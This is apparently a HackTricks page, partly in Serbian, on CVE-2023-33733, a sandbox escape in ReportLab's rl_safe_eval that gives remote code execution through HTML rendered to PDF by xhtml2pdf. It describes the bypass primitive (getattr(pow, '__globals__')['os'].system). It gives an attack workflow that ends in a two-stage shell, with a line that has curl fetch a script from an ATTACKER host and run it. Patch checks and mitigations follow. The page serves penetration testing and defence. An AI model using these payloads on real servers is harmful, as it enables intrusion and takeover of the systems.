ReportLab/xhtml2pdf [[[…]]] evaluacija izraza RCE (CVE-2023-33733)

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ova stranica dokumentuje praktičan sandbox escape i RCE primitiv u ReportLab’s rl_safe_eval koji koristi xhtml2pdf i druge PDF-generator pipeline kada renderuju HTML kontrolisan od strane korisnika u PDF.

CVE-2023-33733 utiče na ReportLab verzije do i uključujući 3.6.12. U određenim kontekstima atributa (na primer color), vrednosti umotane u triple brackets [[[ … ]]] se procenjuju server-side od strane rl_safe_eval. Kreiranjem payload-a koji pivotira od belisteovanog builtin-a (pow) prema njegovim Python function globals, napadač može dohvatiti modul os i izvršiti komande.

Key points

  • Trigger: inject [[[ … ]]] into evaluated attributes such as within markup parsed by ReportLab/xhtml2pdf.
  • Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose globals.
  • Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string “globals” while avoiding blocked dunder filtering.
  • RCE: getattr(pow, Word('__globals__'))['os'].system('<cmd>')
  • Stability: Return a valid value for the attribute after execution (for color, use and ‘red’).

When to test

  • Applications that expose HTML-to-PDF export (profiles, invoices, reports) and show xhtml2pdf/ReportLab in PDF metadata or HTTP response comments.
  • exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
  • HTTP response for PDF often starts with a ReportLab generator comment

How the sandbox bypass works

  • rl_safe_eval removes or replaces many builtins (getattr, type, pow, …) and applies name filtering to deny attributes starting with __ or in a denylist.
  • However, safe functions live in a globals dictionary accessible as func.globals.
  • Use type(type(1)) to recover the real builtin type function (bypassing ReportLab’s wrapper), then define a Word class derived from str with mutated comparison behavior so that:
  • .startswith(‘’) → always False (bypass name startswith(‘’) check)
  • .eq returns False only at first comparison (bypass denylist membership checks) and True afterwards (so Python getattr works)
  • .hash equals hash(str(self))
  • With this, getattr(pow, Word(‘globals’)) returns the globals dict of the wrapped pow function, which includes an imported os module. Then: ['os'].system('<cmd>').

Minimal exploitation pattern (attribute example) Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and ‘red’.

exploit

  • The list-comprehension form allows a single expression acceptable to rl_safe_eval.
  • The trailing and ‘red’ returns a valid CSS color so the rendering doesn’t break.
  • Replace the command as needed; use ping to validate execution with tcpdump.

Operational workflow

  1. Identify PDF generator
  • PDF Producer shows xhtml2pdf; HTTP response contains ReportLab comment.
  1. Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export.
  2. Verify execution with low-noise ICMP
  • Run: sudo tcpdump -ni <iface> icmp
  • Payload: … system('ping <your_ip>')
  • Windows often sends exactly four echo requests by default.
  1. Establish a shell
  • For Windows, a reliable two-stage approach avoids quoting/encoding issues:
  • Stage 1 (download):

exploit

  • Stage 2 (execute):

exploit

  • For Linux targets, similar two-stage with curl/wget is possible:
  • system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)

Notes and tips

  • Attribute contexts: color is a known evaluated attribute; other attributes in ReportLab markup may also evaluate expressions. If one location is sanitized, try others rendered into the PDF flow (different fields, table styles, etc.).
  • Quoting: Keep commands compact. Two-stage downloads drastically reduce quoting and escaping headaches.
  • Reliability: If exports are cached or queued, slightly vary the payload (e.g., random path or query) to avoid hitting caches.

Patch status (2024–2025) and identifying backports

  • 3.6.13 (27 Apr 2023) rewrote colors.toColor to an AST-walk parser; newer 4.x releases keep this path. Forcing rl_settings.toColorCanUse to rl_safe_eval or rl_extended_literal_eval re-enables the vulnerable evaluator even on current versions.
  • Several distributions ship backported fixes while keeping version numbers such as 3.6.12-1+deb12u1; do not rely on the semantic version alone. Grep colors.py for ast.parse or inspect toColor at runtime to confirm the safe parser is in use (see quick check below).
  • Quick local check to see whether the AST-based fix is present:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY

Mitigacije i detekcija

  • Ažurirajte ReportLab na 3.6.13 ili noviju verziju (CVE-2023-33733 ispravljen). Pratite bezbednosna saopštenja i u paketima distribucije.
  • Ne prosleđujte HTML/markup pod kontrolom korisnika direktno u xhtml2pdf/ReportLab bez stroge sanitizacije. Uklonite/odbacite [[[…]]] evaluacione konstrukte i tagove specifične za proizvođača kada je unos nepouzdan.
  • Razmotrite potpuno onemogućavanje ili umotavanje upotrebe rl_safe_eval za nepouzdane ulaze.
  • Pratite sumnjive odlazne konekcije tokom generisanja PDF-a (npr. ICMP/HTTP sa aplikacionih servera prilikom eksportovanja dokumenata).

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks